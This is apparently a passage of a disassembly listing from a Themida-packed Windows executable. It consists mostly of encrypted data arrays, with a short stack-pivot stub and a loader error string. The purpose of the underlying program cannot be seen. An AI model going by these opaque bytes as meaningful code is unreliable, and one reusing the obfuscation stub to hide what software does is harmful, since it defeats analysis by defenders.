97E3FA9Bh, 98E4FC9Dh, 9BE7FFA0h, 9BE700A1h, 971CC2A1h dd 9BBC74C0h, 0A1C27AC6h, 85D67ECAh, 0C3D781CDh, 92E3D397h dd 72515615h, 1A668130h, 8B427311h, 7162F33Fh, 47233725h dd 4FC6B357h, 78E03AD5h, 0B570B2Ch, 5638082Fh, 74D03985h dd 8EBFFB58h, 4E043149h, 0C03D313Dh, 10EF560Eh, 33410F9h dd 0E049024Eh, 0EF63F156h, 72560EBFh, 6718135Fh, 471A2571h dd 32ED3914h, 35A560F6h, 0EC02519h, 1280756h, 21976E64h dd 5B391E9Eh, 33E5h, 0E95B7900h, 48034F09h, 401C48E1h dd 0BF88C1DFh, 2C063906h, 8ED46340h, 726CD949h, 0DD441D26h dd 0C4504A62h, 1F17560Eh, 26516EE4h, 11325B39h, 0CC000000h dd 20965A86h, 144FC6B3h, 4F221EDh, 90000009h, 221D6981h dd 94475D75h, 32AFF48h, 31F40D59h, 0E1722F79h, 0AF91A872h dd 0D49FAB99h, 2A498F03h, 3A303C07h, 2D560F04h, 4B58CE05h dd 6D5B3962h, 0FC47934Ch, 2C1C0925h, 0B2000000h, 8BD1E95Bh dd 9598894Ch, 0F7D37198h, 498F5C24h, 74C093C4h, 9EA9889Ah dd 0F449C16h, 28EBCB56h, 39A72DB2h, 0DB565Bh, 81F00000h dd 75221D69h, 7A8B445Ah, 0C6B30076h, 34CD344Fh, 2D2552CDh dd 213966E1h, 7B4F5BD5h, 0EB4FC6B6h, 32CD19CAh, 691EA220h dd 90CD69C1h, 0F5A68EDAh, 82B391DDh, 67BA85D1h, 0F1CA72CBh dd 0AB8EA8F4h, 9E58399h, 498F2BF2h, 3F550B3Ch, 267E02Ch dd 0E049202Bh, 293F0178h, 5B4B1F3Bh, 0E560F6Ch, 18F70F5Bh dd 0FC8A66FEh, 304FD4BBh, 8D4273D1h, 6A4B1741h, 10E02573h dd 6BD06DEh, 0F13D241Fh, 0F1F6B64h, 0CCBC75A5h, 0F8A697E0h dd 2100000Ah, 455FF4Bh, 253FD49h, 95A024Eh, 657014Dh, 0CC4B0551h dd 1A668106h, 1C688122h, 24706334h, 2B776B2Ch, 6D81AD31h dd 561593F9h, 8196983Bh, 9B8B1866h, 41A34189h, 885B7CE8h dd 3D5EF23Ch, 435FD925h, 25F13D12h, 0EE95B1Fh, 0C6B34C42h dd 0DB3FE04Fh, 9E3CD92Ah, 203CE53Ch, 8F53F74Ch, 51DA3549h dd 0F4C4F43h, 0DB3A1856h, 39AE5A65h, 0C1295Bh, 81BD0000h dd 75221D69h, 77150E5Ah, 4FC6B623h, 635EACBEh, 0D9756135h dd 0F8A48C75h, 377B39A7h, 1C303FF5h, 4FC6C62Ah, 34FE270Ah dd 68E32F23h, 5A4C203Ch, 0DA4FC6C6h, 0E454DB37h, 475C70CCh dd 0A5498EADh, 0D96BD28Ah, 0ECC9A5C3h, 9C4FD45Bh, 0DA91A7BBh dd 55AC778Eh, 0D20367B9h, 0ADA1AFFBh, 7C4FC949h, 25EA660h dd 52C0264h, 4017401Ch, 441B3CF4h, 0CEC1AF8h, 0A2CDCCBCh dd 0A02B3h, 0ED392B00h, 0EF3B1243h, 0F03C1445h, 0F33F1748h dd 0F33F1849h, 6FF4DA49h, 53042C78h, 590A327Eh, 5DFE3682h dd 9BFF3985h, 950B7B4Fh, 0CA295615h, 0EC1D8688h, 0DA06EAA1h dd 342B2C06h, 3B2F70E8h, 81FB45EFh, 34891B69h, 0EE71EE87h dd 776B0C17h, 94148A66h, 34184FC7h, 0C7942618h, 22B064Fh dd 0B93E312Bh, 2747864h, 324FC794h, 4CEC43CFh, 0FB440834h dd 49498F76h, 89617AE6h, 0A235E23Dh, 0C629C633h, 7A8F8D6Ch dd 77EC4BABh, 0BD91AFC5h, 0F91BAD5Ah, 15A633DCh, 0D69CD6A4h dd 212D112Fh, 0F98C692Dh, 311620FFh, 244058E8h, 52E87048h dd 2341E0F3h, 5CD42032h, 3BDB273Bh, 6330D6D5h, 3C66D7A0h dd 65000009h, 6839236Fh, 6637216Dh, 6D2E2672h, 6A2B2571h dd 302F2975h, 0DE2A25AAh, 0E02C2576h, 0E8342778h, 0EF3B2F70h dd 410D5145h, 5615964Dh, 81BA04DFh, 4F221D69h, 8661D5EDh dd 9873BF97h, 0E940A740h, 487C6F7Bh, 4DB2498Fh, 1FB8C8BAh dd 5A061F40h, 0FF0F0149h, 0FA14A614h, 16627962h, 0F733D92Ah dd 0AE90AE31h, 0BB84D08Dh, 0D384CC66h, 0E16BB400h, 560F756Dh dd 0F659109h, 829AAA56h, 92DEF5E6h, 310DC88h, 394FD78Eh dd 0CE2F4DD6h, 80104612h, 0BFAFBBD7h, 6D4FC72Eh, 0BE9F7B92h dd 40D260ACh, 1CCBE98h, 891C736h, 0AABA0000h, 0A8A5F65Eh dd 0ADA3F45Ch, 0B0A6F761h, 0B4ABEC64h, 6971F068h, 0B59FEBE4h dd 0B7A1EDE4h, 0AFA9F5E6h, 88B0FCEEh, 9204C814h, 0A2561596h dd 0E95BFF43h, 754975D3h, 313F8B44h, 4FC6B33Dh, 6E0610EFh dd 498EBB5Dh, 8DB7708Fh, 0C59DB3ACh, 0E8979079h, 0B37FA6F2h dd 0F55FABA2h, 0E25DA9A4h, 0AA96AC8Fh, 928DD991h, 0F3F763AFh dd 560EBC7Bh, 8BBD86A9h, 0ACA91EF5h, 0C6BCF860h, 75560EBCh dd 0AC90ACC2h, 0BCCABC90h, 0FD6A560Eh, 0B58C97E3h, 98AAC24Ch dd 54560EBCh, 0FBD283ADh, 9AD874AFh, 0F8560EBBh, 233A362h dd 8761024Eh, 0FD19F03Bh, 0B3378560h, 0F59DB171h, 75AEFAD3h dd 0A48C758Ch, 958EDAF3h, 7BE396E7h, 238C23E1h, 7A352945h dd 18F7560Fh, 79CC76FEh, 1C35560Fh, 322857D0h, 0B50B5DE6h dd 0EB81B35Eh, 4E9AB328h, 96AC8FE6h, 0ADA596AAh, 0B783E661h dd 0F7AC8BBh, 0EA066656h, 560F7A74h, 0BFAE59B8h, 0C0ACBD39h dd 0C2CA55ACh, 41F06971h, 7FF5D006h, 0C71B0764h, 9A4F6854h dd 0E06CD54Eh, 0C1F0A16Eh, 56D763BEh, 1B3h, 9E95BF0h, 0E148034Fh dd 1F501C48h, 47498EBDh, 122E7A6Eh, 0EC1483Eh, 0E945EC56h dd 506CD837h, 1C277367h, 0F31A667Bh, 0D8243627h, 606C506Ch dd 560EC0EEh, 2195E33Eh, 13560EC1h, 722E22ECh, 62768C49h dd 834EF16h, 0EC15244h, 0E63FE256h, 0B570B4Ch, 9DFB2440h dd 9C599BF6h, 0A5F1E659h, 0D00BE189h, 1167CEC8h, 0D9253DB2h dd 1B2C3E5Fh, 0D4D05F4Fh, 0DB32CDD0h, 20360950h, 236F6738h dd 17637728h, 1A667C1Dh, 24618311h, 0C984BE5Ah, 0B995C27Dh dd 48BD4A6Bh, 62CBCFCBh, 0D33288E9h, 0A0BC0828h, 4B36DACCh dd 0DEF25A43h, 434B3668h, 72BC65CCh, 0BAB025E0h, 0E661ADA4h dd 0B8519DB9h, 0A188D487h, 0E3D397C3h, 51434B36h, 879EEAE4h dd 8650889Ch, 9C768076h, 0D9EFE3B4h, 0D05BB2FEh, 0C4A0B689h dd 4B85B6A8h, 37997643h, 5C9335A2h, 0A1C27A93h, 68B17AC6h dd 0C7A3C1D7h, 434BA9DBh, 0A992AE51h, 86DB64B0h, 0DFF3A4ACh dd 0F0E79893h, 97ED9BA4h, 0C713C73Ch, 16CC8Dh, 0BDA49FEBh dd 0A9DBCB9Fh, 0B659434Bh, 0BA7DD44Fh, 0C8A4B8A4h, 434BA9D6h dd 35FBB56h, 4BA97FE7h, 0F652AD43h, 0A99006CAh, 7DA4434Bh dd 0E6FC9DB1h, 8AF3919Ah, 4C6B796Dh, 95C24C06h, 0DCDD70BEh dd 654765DBh, 0FBD483BCh, 0EC374AFh, 52A889C2h, 2440C873h dd 0BE423438h, 0FF2434Ah, 4DE9352Ch, 7F53C80Bh, 82580933h dd 1324ED36h, 278B5FFDh, 25434ABEh, 5A11520Ah, 0FB3C150Eh dd 0BE5A4C20h, 37DA434Ah, 0BE514509h, 3CE3434Ah, 137377E5h dd 41434ABEh, 810C76DEh, 0E8711B69h, 3B283B6Fh, 31136AD2h dd 3E212D1Bh, 2A498ECEh, 0BB0385D9h, 0ABB05BA7h, 998FAB17h dd 0DAF6CA76h, 560EEE64h, 95CD69C8h, 0F963AFA4h, 0B65B3A8h dd 1C5909C1h, 0CD77B059h, 116913B4h, 0B680F180h, 0BDABC183h dd 0D6FE3AB1h, 120DF44Fh, 0C6F2007Ah, 0F3093B4Fh, 97506955h dd 7289E04Bh, 0AE91AE87h, 7CFB0864h, 4A6B498Fh, 3CEE4894h dd 352D4AD5h, 2BB349E9h, 0B57ECAF6h, 52E40h, 39855700h dd 3B875EFFh, 3C886001h, 3F8B4314h, 3F8B4415h, 3BC00615h dd 3F60D824h, 2576DE2Ah, 297AE22Eh, 676BE531h, 9A372743h dd 0DEF55615h, 0EE95BD4h, 0B3281E32h, 250C4FC6h, 0C6B35747h dd 0D33AD54Fh, 11854975h, 204FC6B3h, 70467448h, 0B29A706Eh dd 0C797A89Eh, 7CA58C4Fh, 75A6AAB2h, 0C7498F90h, 0DED5DF68h dd 8B560FB0h, 0EDF268ABh, 965B3A0Eh, 0FBh, 78558630h, 4A3C102Ch dd 0EA4FC6B3h, 0FB7FEB47h, 304FC6B2h, 869C4E21h, 0C4A089D5h dd 0B3E2D498h, 0AF524FC6h, 0D084EB63h, 0BEA8C4A0h, 0A84FC6B3h dd 0B3C6B894h, 1664FC6h, 9C879EEAh, 4A6D3B6Fh, 3AF04AC2h dd 995069D7h, 0A36FD24Dh, 99E5FD9Ah, 8284D89Fh, 0BEAA83CFh dd 0B2ABC19Dh, 0E773BF66h, 0C7447BE3h, 0DD66C94Fh, 0DFCF9BBFh dd 824FC744h, 86A981CDh, 6BB7ABACh, 0CF84B5F1h, 0D09CC883h dd 4FC744DEh, 0C05AB34Eh, 8FADE379h, 0F6E8FABh, 54A90DE8h dd 0B1DBCBA9h, 66564FC7h, 5545649Ah, 0F842DD45h, 0C7B0E67Ch dd 4821464Fh, 3AD31F32h, 854975D3h, 4FC7B111h, 0B11D915Dh dd 0F00F4FC7h, 281E321Ah, 0C4FC7B1h, 885BFC25h, 2F4DF23Ch dd 0B14F3F0Bh, 42DD4FC7h, 0F1067CF8h, 364C4FC7h, 0E01044DFh dd 70D26884h, 321A4FC7h, 0C771281Eh, 0FC250C4Fh, 0D1C154h dd 5B7D0000h, 5975D3E9h, 498EBB4Ah, 95C27DA4h, 9CC870BCh dd 0D98FA5BBh, 56AF928Dh, 6CB8AACDh, 5BB74EB3h, 0D2877FD4h dd 0CB9FBD86h, 560EBCDBh, 0B64FB659h, 0BCD4C68Ah, 0FF68560Eh dd 0B8739AE6h, 0A4B5AB8Ch, 0EBCD6C8h, 52BB5656h, 0CEA670D9h dd 0B6815713h, 6177607Ch, 7C57F915h, 0A91F30Ch, 0C44EC68Fh dd 0FB827384h, 812FBFFh, 0A8644956h, 5D3A4Eh, 86D40000h dd 0F32C7855h, 262D040Eh, 0E804CF8h, 1E4FC6B3h, 42174803h dd 60F73EF6h, 103A1632h, 564FC6B3h, 0D01C6A65h, 0BDA1CEDCh dd 6ABF88A1h, 487CF2FEh, 51B04FC7h, 83BC63C5h, 0C78871E9h dd 0A495E14Fh, 81D763AFh, 82B0A742h, 96BBBDE6h, 7A937AB9h dd 82A8C4A0h, 0CA4FC772h, 8193ED67h, 75221D69h, 5027115Dh dd 606CD8F0h, 498E9213h, 0DF7DC669h, 3A7A3CBEh, 0FA14BF14h dd 0F46F872h, 6D516F56h, 0F46ED61h, 56E03F56h, 384BC104h dd 4B5B39A5h, 33h, 0D1E95BE3h, 6224C026h, 9DCB627Fh, 8F727AD1h dd 0D24DB449h, 0FB2C0BAh, 7ECAA156h, 75C192C5h, 2DE87EAAh dd 14EFE782h, 3A15019Eh, 0F0825Bh, 861C0000h, 0D7307C55h dd 45E839EAh, 6CE9456Fh, 7E212A76h, 75221D69h, 6E16115Dh dd 0F04A964Dh, 112F7B6Fh, 972D212Dh, 1A344FC7h, 59D738CEh dd 0AC595710h, 0F266B059h, 0C75CECC6h, 115D754Fh, 24E0233h dd 53842038h, 0CF52E7Ah, 5EE9352Bh, 3C2E2F0Bh, 2C0D37F0h dd 0E44BE733h, 4C203C54h, 498F5537h, 551062Fh, 0DA348052h dd 86FE948h, 28442038h, 4FD4A4C5h, 9F115CC5h, 861D860Fh dd 65B1FDD5h, 0D7005CC3h, 6BDBEF00h, 0C94FC8E8h, 78B17A64h dd 3FE648E6h, 2E297AE6h, 2B572CD1h, 0C293BB57h, 4D71C10Dh dd 4CCCBCC4h, 1D13223h, 0EAFA0000h, 0E8E5B69Eh, 0EDE3B49Ch dd 0F0E6B7A1h, 0F4EBACA4h, 29B1B0A8h, 0F55FABA4h, 0F761ADA4h dd 0EF69B5A6h, 0C870BCAEh, 0D2C488D4h, 6256159Dh, 66813F83h dd 6981221Ah, 43163F1Dh, 39D52CF7h, 0E95B2B15h, 825975D3h dd 0EC498E9Eh, 0F872FA45h, 69560EDEh, 7629226Eh, 7E0A1561h dd 2742ED28h, 415ED42Fh, 425B3941h, 0C7h, 1D6981DCh, 8A667A22h dd 4FC6B314h, 401DF918h, 443A1627h, 0E84FC6B3h, 4D67E049h dd 4FC6B675h, 0B2AAF6ECh, 9006CAF6h, 0A44FC6B7h, 0AEA4B17Dh dd 0AD76C298h, 9F72AD54h, 5D9879Dh, 0C6B775E9h, 0A5FB44Fh dd 6187615Dh, 90CC66C9h, 8F7EA7BCh, 0B2AA8549h, 56379CBh dd 0D4EB65E9h, 0DC88A74Fh, 39883BC3h, 71BDE7BDh, 0CB17D0E9h dd 0CB17D091h, 0BC884D6Bh, 3E1F48CCh, 0EBh, 3CF44014h dd 3EF6421Bh, 3DF7431Dh, 3EF6421Ch, 3EF6421Dh, 5D72F7DFh dd 63762711h, 677C1D17h, 6A80211Bh, 7EA2361Eh, 159DFC72h dd 89953056h, 221A6681h, 2C785586h, 475D75E2h, 5FFD4692h dd 0C6B31B8Bh, 0FF6194Fh, 81043EF6h, 75221D69h, 5027115Dh dd 606CD8F0h, 49886DE9h, 102FF817h, 75260E5Ah, 6E16115Dh dd 0B070D15h, 828C5A8Ch, 339080EAh, 9AE60111h, 62AEB691h dd 573757ACh, 0A29DE9E4h, 0E9946FC7h, 0A212F147h, 0BDA8BF81h dd 4FED6FEDh, 33960B7Bh, 2C062993h, 7DEB372Bh, 96198D61h dd 0F41B9333h, 6D65361Ah, 5D792621h, 45A1611h, 6F6851C1h dd 0F5412823h, 855C7268h, 0F21BEE39h, 0F0666A56h, 44933395h dd 5CFD51DDh, 2A767086h, 10D54803h, 69000000h, 20965A86h dd 144FC6B3h, 4A964AEDh, 812551F0h, 73241F6Bh, 6718135Fh dd 801F2874h, 75221D69h, 62150E5Ah, 7926216Dh, 6916115Dh dd 7728236Fh, 7419125Eh, 81E28952h, 4C2h, 4EA8300h, 5C241487h dd 68242C89h, 70A3h, 56241C89h, 0C681E689h, 4, 4EE81h dd 34870000h, 14895C24h, 8EB95124h, 51064EDFh, 0FC240481h dd 5B7D7D07h, 7FCEB81h, 54597D7Dh, 8124148Bh, 4C4h, 8B95100h dd 1000000h, 8B1989D1h, 0C483240Ch, 2434FF04h, 4C4835Ah dd 5B2434FFh, 0E904C483h, 0FFF9906Bh, 0EC7DB813h, 0C503064Eh dd 2760E0FFh, 0AAF37509h, 566460C9h, 10F54B05h, 649C58BBh dd 0A02D2200h, 0D7773176h, 0C5FB157Bh, 3A706794h, 0E9603DFDh dd 0B0E9435Bh, 98CC6DE6h, 6F724753h, 54A07AAh, 0C710090Ah dd 0B626DB8h, 736C417Ch, 0BA474E3Ch, 0DB755E13h, 4EB7E4Ch dd 325A467Fh, 518E9h, 0F13D2F00h, 0F33F1647h, 0F4401849h dd 0F7431B3Ch, 0F7431C3Dh, 73F8DE3Dh, 7728105Ch, 7D1E1662h dd 81221A66h, 9F331D69h, 9FFF6F7Bh, 962D5615h, 1D69818Ch dd 37C1DE3Fh, 4AAB4ABFh, 2F2857F0h, 322879E3h, 283A5DE6h dd 253963DCh, 0C75B5549h, 0DE38D74Fh, 0B5166481h, 0A6F2EB63h dd 0CFEBCF7Dh, 0C51BED36h, 75C1990Eh, 7DC99ABBh, 85D182D3h dd 0A1EDFED7h, 0DA8FB095h, 0EDE2958Eh, 0DFF9A6A1h, 0F1E79893h dd 0D72E84A5h, 0AF66FC2Ch, 73DD293Ah, 5BE43022h, 0C71A5A51h dd 4D88AE4Fh, 0F17CCCD7h, 8CB754h, 146D0000h, 0E5F3CDF5h dd 5A4C20F0h, 0DA4FC715h, 0FA44CE37h, 221D6981h, 0C6B3128Ah dd 7BEF44Fh, 0F1160E91h, 67554h, 0E270000h, 39030F5Bh dd 20965A86h, 4E4FC6B3h, 0C6B30C82h, 2901204Fh, 322B2C06h dd 0DE3F5DE6h, 5389158Bh, 299C51D3h, 0E90C839Ch, 7855020Ch dd 8A44F32Ch, 0F40D5974h, 9550C2Bh, 51B2E93Eh, 17AD17B0h dd 62DD2924h, 0A954AF07h, 5DD23187h, 60FC3480h, 0A156177h dd 2AC4CC37h, 0DE7FDEC2h, 34F0354h, 6681EF59h, 776E111Ah dd 351202Bh, 4717499Ah, 0D13A553Ah, 0CA81B283h, 0EA70CA73h dd 55A1B62Bh, 5CA8BADBh, 509CB4E3h, 4D88AED7h, 0F1F2BCD7h dd 3DBFC54h dd 79956CB7h, 68ACh, 0C33F6000h, 6D39C1C1h, 8167DD39h dd 0D52E1A66h, 6F64EF2Eh, 0E6412823h, 6FCBA3CBh, 63AFA9D6h dd 0D33288E8h, 133D895Eh, 23418D42h, 45D11D32h, 3B875F00h dd 0A65D55F0h, 0F1C28330h, 7E0054h, 81960000h, 6E111A66h dd 49F6317Dh, 5CFB4490h, 0F9EF3884h, 0F35500C3h, 90DC8EA7h dd 0F268B297h, 0B3C99E13h, 82BA539Fh, 8F1D86C8h, 341A8D78h dd 4B9750h, 29360029h, 3D67E02Ch, 2FF8441Ch, 0BF1D31DAh dd 0E525E51Bh, 0E02A2149h, 22394FC6h, 3E09550Ch, 560942EBh dd 47F8337Fh, 24FD4692h, 0EC976E44h, 8D03C2F0h, 54F142F2h dd 46FB5DC6h, 0CC5496F9h, 0AA7FC814h, 176B783h, 10000000h dd 6A865A86h, 4FC6B2F4h, 0B7BD938h, 294FC6B3h, 352B2C06h dd 29415EE9h, 1E3562DDh, 2F2659D2h, 1D6980E3h, 15F04622h dd 0C27DC9A0h, 0F086C65Fh, 0B2C8A015h, 71D8539Fh, 67D9A098h dd 3C7F351h, 4FC6B393h, 509CB4A1h, 0E9055DB9h, 498EBE32h dd 0F28A957Ch, 89C20EC9h, 11C996A0h, 0C3A0C5C3h, 0C75E625Eh dd 0CA16CC8Dh, 0A381F381h, 9FF5560Fh, 0AFFBEF64h, 0B2FED485h dd 0C814C679h, 795CB27Fh, 5A024E04h, 3A057B08h, 12C085Bh dd 5B9E0000h, 45009E9h, 213FE63Bh, 8EB9124Dh, 62DD4449h dd 73D11D35h, 0D379D50Ah, 89A578A5h, 72BE94C5h, 9CE8E5D6h dd 0D88AAD92h, 6AB6938Ch, 2F72F419h, 0F932B1Bh, 0FD260956h dd 7B978097h, 0D189FED5h, 6E8FCB85h, 6691AB93h, 8ACC66C8h dd 5B399FF5h, 568Eh, 55B2800h, 934871CFh, 9A719C45h, 0BD64E964h dd 0ACD5E971h, 0D4902492h, 9550A3Ch, 0F842EB3Eh, 0C6C8DA7Ch dd 0EC37DA4Fh, 0EE606C50h, 3E4FC6C8h, 0F56985E3h, 374FC6C8h dd 40363ED8h, 0D24FC6C9h, 8ACE69ACh, 748DD990h, 0C96204C8h dd 0AF524FC6h, 809285h, 5B300000h, 4975D3E9h, 0B2E55975h dd 0E8474FC6h, 0C66FC83Fh, 2A043104h, 8EDB4542h, 50083149h dd 17F82A04h, 0E01DD21Fh, 0FE49E021h, 303B8961h, 1A182EF2h dd 6253F118h, 3F17236Fh, 47004C1Eh, 0EEB742Dh, 3392E856h dd 0F860ACBEh, 0BBA9BF81h, 0D09984AFh, 1755BA4Fh, 0F7AD15FCh dd 0E72E4E8h, 5FC24FCDh, 0D8015FC6h, 956CB703h, 0BF93C479h dd 0E278B873h, 0A0B88823h, 0BB7BA8C4h, 4EB1498Eh, 0E95B9CE6h dd 0AA5975D3h, 449885Fh, 0D9307C53h, 0EB39314Eh, 0B4EC80EEh dd 0E34DB427h, 0BB8FA0B2h, 5614DECBh, 6A5DC669h, 0EB076888h dd 19421E07h, 2419F541h, 206E5E88h, 2F085482h, 960EB37h dd 73E82B2Dh, 7D29135Fh, 0F03B875Ch, 8A60FD19h, 7C52053Eh dd 2339F730h, 29776BE0h, 0AA9C6B9Eh, 0D983AA2Dh, 66B2AC8Dh dd 8BD78BCCh, 0A0B3A4C0h, 35BBA54h, 0F7000000h, 6B811763h dd 5F73241Fh, 74671813h, 69801F28h, 5A75221Dh, 6D62150Eh dd 5D792621h, 6F691611h, 5E772823h, 50741912h, 405E089h dd 83000000h, 48704E8h, 34895C24h, 0E7895724h, 4C781h dd 0EF830000h, 243C8704h, 2434895Ch, 81E28952h, 4C2h, 4EA8300h dd 5C241487h, 81241489h, 4ECh, 242C8900h, 4EED52BDh, 5DEE8906h dd 8904EC83h, 4832424h, 835A0424h, 348904ECh, 8428F24h dd 5124148Bh, 0C181E189h, 4, 8704C183h, 8B5C240Ch db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_544ACB ; --------------------------------------------------------------------------- db 0FAh dd 565E08B1h, 0DA368CFh, 61FA69F8h, 0F1D4B809h, 0C503064Eh dd 0E042E0FFh, 5BA4BFAh, 13340765h, 75204BACh, 3BA23F9Dh dd 9B444A54h, 0F3762A0Ah, 4A915800h, 347815D0h, 0AAB636Bh dd 6A302942h, 0E0293F0Ch, 5E4A7B47h, 32E55BCEh, 0A46C18C5h dd 0AD502BE2h db 46h, 1Eh word_5AC022 dw 8D8Dh ; DATA XREF: Themida_:0053EC44o dd 64EF3C4h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0DFC35040h, 0F222B716h, 0AED9D29h, 8D890648h, 6480A19h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 4EC35646h dd 880F7E82h, 6, 1ED58589h, 85C70648h, 6480F35h, 64F8h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 7CC35141h dd 77032C06h, 0A65BD8Bh, 9D290648h, 6482809h, 242585C7h dd 648h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0A95D15C3h, 62259A8Eh, 5E8AFh, 60250000h dd 0F36E314h, 582h, 4A50BB00h, 0FF5F3FBDh, 4828C9B5h, 31BD8B06h dd 0FF06480Dh, 4820BD95h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 9529CD92h dd 64823B5h, 95FF006Ah db 61h, 30h, 48h byte_5AC133 db 6 ; DATA XREF: Themida_:0053EAFCo ; Themida_:0053EE60o dd 5FEBC08Bh, 3F492312h, 0AC68B2EDh, 148EBBECh, 0DF54A361h dd 1441EB00h, 0B00EFDD2h, 14447824h, 4640CC97h, 16528537h dd 8B310E8Ch, 94FD70AEh, 0DCC686F8h, 0EF3D063Fh, 8EB6121Dh dd 0BB4F2E9h, 5C10C412h, 0C7F99717h, 50600126h, 0E3A63B03h dd 0F81CCB48h, 707840FEh, 80FB67C7h, 9226C6h, 0E99712E4h dd 127h, 73765B50h, 154EEFACh, 0 aAnErrorHasOcur db 'An Error has ocurred while loading imports',0 db 37h dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h dd 777E600h, 5 dup(0) dd 0FD000000h, 77E7A5h, 2Bh dup(0) dd 2000000h, 48000000h, 0F4C706E1h, 0CF63921Dh, 0CB8F96A6h dd 11345D46h, 35B11C13h, 427A3907h, 722B6166h, 0A9F29E35h dd 88321177h, 6C9390EFh, 0BFBF132Eh, 1778A54Ah, 0D069C699h dd 6853A8E5h, 5632132Eh, 0A9614571h, 88321177h, 6C9390EFh dd 0BFBF132Eh, 1778B87Dh, 0D069C699h, 0F9B1D5EDh, 247CE11Ah dd 1B61A66h, 5321566h, 0AE35DE3h, 0AFE2EA60h, 5FE36DE3h dd 4EE2EA60h, 0C1578E3h, 705A4360h, 0EEAEBDDEh, 0C01380D3h dd 5AB79860h, 0DD345EE5h, 0A0B79CB6h, 5345D48h, 0AC759E3h dd 0A7BF4560h, 177CE14Bh, 0FDA7EA36h, 83345D4Bh, 6A1868E3h dd 11321560h, 0E5B7D366h, 1345D41h, 505B7C0Eh, 3087EAE8h dd 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h, 593050E3h, 0E5B7D360h dd 7345D41h, 45594B0Eh, 3087EAFAh, 5345D4Ah, 0C0A6DE3h dd 0ABE2EA60h, 5FC671E3h, 0E5B7D360h, 10345D41h, 405A3C0Eh dd 3087EA88h, 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h, 5FC67DE3h dd 0E5B7D360h, 1345D41h, 420AD70Eh, 3087EABCh, 5345D4Ah dd 0C0A6DE3h, 0ABE2EA60h, 5FC679E3h, 0C18F9660h, 44345D7Fh dd 22779069h, 94F41566h, 8E7A320Bh, 3AB47D23h, 97CDEF46h dd 177A3947h, 0B04A90EBh, 94CD132Eh, 0D64290EFh, 94F41328h dd 8E7A320Bh, 94F17D2Ah, 97CDF540h, 177A3947h, 0B04A90EBh dd 94CD132Eh, 0D64690EFh, 51DB1328h, 4E321566h, 0C1578E3h dd 2F5A4760h, 0EE8E5F82h, 0C02F3CD3h, 3CB79860h, 0DD345D5Eh dd 61B79CB6h, 4E345B92h, 0C1578E3h, 6A5A4760h, 0EE94592Ch dd 0C02F3CD3h, 3CB79860h, 0DD345D5Eh, 65B79CB6h, 4E345B92h dd 0C1578E3h, 0C85A4760h, 0EECF57D2h, 0C01E34D3h, 3CB79860h dd 0DD345D5Eh, 90B79CB6h, 4E345D4Ah, 0C1578E3h, 815A6260h dd 0EEC182CEh, 0C01248D3h, 3CB79860h, 0DD345D5Eh, 8CB79CB6h dd 4E345D41h, 0C1578E3h, 355A4760h, 0EEB8C857h, 0C01E34D3h dd 3CB79860h, 0DD345D5Eh, 0A8B79CB6h, 4E345D6Bh, 0C1578E3h dd 1B5A4360h, 0EEE60A0Bh, 0C01380D3h, 5AB79860h, 0DD345EE5h dd 30B79CB6h, 4E345D73h, 0C1578E3h, 585A5260h, 0EEB3C976h dd 0C01E34D3h, 3CB79860h, 0DD345D5Eh, 0A0B79CB6h, 4E345D7Dh dd 0C1578E3h, 0C05A5260h, 0EEB81AD3h, 0C01E34D3h, 3CB79860h dd 0DD345D5Eh, 85B79CB6h, 0B345B92h, 0C2878DBh, 0A63D1560h dd 11321337h, 0AF5F90A0h, 2C7E132Eh, 0FBE8098Fh, 3D13A099h dd 0DBF132Eh, 427A2D1Eh, 0A7BBC599h, 177CE1E6h, 0AF5F90A0h dd 2C7E132Eh, 0FF46CBA8h, 3D13A099h, 0DBF132Eh, 427A2D1Eh dd 0A7BBC599h, 177CE1E2h, 0AF5F90A0h, 2C7E132Eh, 95B39759h dd 3D13A099h, 0DBF132Eh, 427A2D1Eh, 0A7BBC599h, 177CE1EEh dd 0AF5F90A0h, 2C7E132Eh, 911D557Eh, 3D13A099h, 0DBF132Eh dd 427A2D1Eh, 0A7BBC599h, 177CE1EEh, 0AF5F90A0h, 2C74132Eh dd 98EC1372h, 3D13A099h, 0DBF132Eh, 427A2D1Eh, 0A7BBC599h dd 177CE1F6h, 0AF5F90A0h, 2C75132Eh, 0A3EE051Ch, 3D13A099h dd 0DBF132Eh, 427A2D1Eh, 0A7BBC599h, 177CE1FEh, 0AF5F90A0h dd 2C75132Eh, 0CDB59BCAh, 3D13A099h, 0DBF132Eh, 427A2D1Eh dd 0A7BBC599h, 177CE1FAh, 0AF5F90A0h, 2C75132Eh, 0F6A8B2B4h dd 3D13A099h, 0DBF132Eh, 427A2D1Eh, 0A7BBC599h, 177CE1C6h dd 0AF5F90A0h, 2C75132Eh, 98F32C62h, 3D13A099h, 0DBF132Eh dd 427A2D1Eh, 0A7BBC599h, 177CE1C2h, 8087A8E5h, 3132132Eh dd 4FB7D346h, 56345D41h, 0FA1F720Eh, 6587EA86h, 0AF345D4Ah dd 590A6DE3h, 1E2EA60h, 0AC6BDE3h, 4FB7D360h, 56345D41h dd 0A181A40Eh, 6587EAE8h, 0AF345D4Ah, 590A6DE3h, 1E2EA60h dd 0AC6B9E3h, 4FB7D360h, 52345D41h, 0FE78B20Eh, 6587EAA6h dd 0AF345D4Ah, 590A6DE3h, 1E2EA60h, 0AC6A5E3h, 4FB7D360h dd 5D345D41h, 0EE5EFE0Eh, 1987EA9Dh, 0AF345D46h, 590A6DE3h dd 1E2EA60h, 0AC751E3h, 4FB7D360h, 55345D41h, 0FBBC400Eh dd 6587EADDh, 0AF345D4Ah, 590A6DE3h, 1E2EA60h, 0AC6A1E3h dd 4FB7D360h, 52345D41h, 65CE90Eh, 6587EADAh, 0AF345D4Ah dd 590A6DE3h, 1E2EA60h, 0AC6ADE3h, 4FB7D360h, 42345D41h dd 980CBF0Eh, 6587EAA0h, 0AF345D4Ah, 590A6DE3h, 1E2EA60h dd 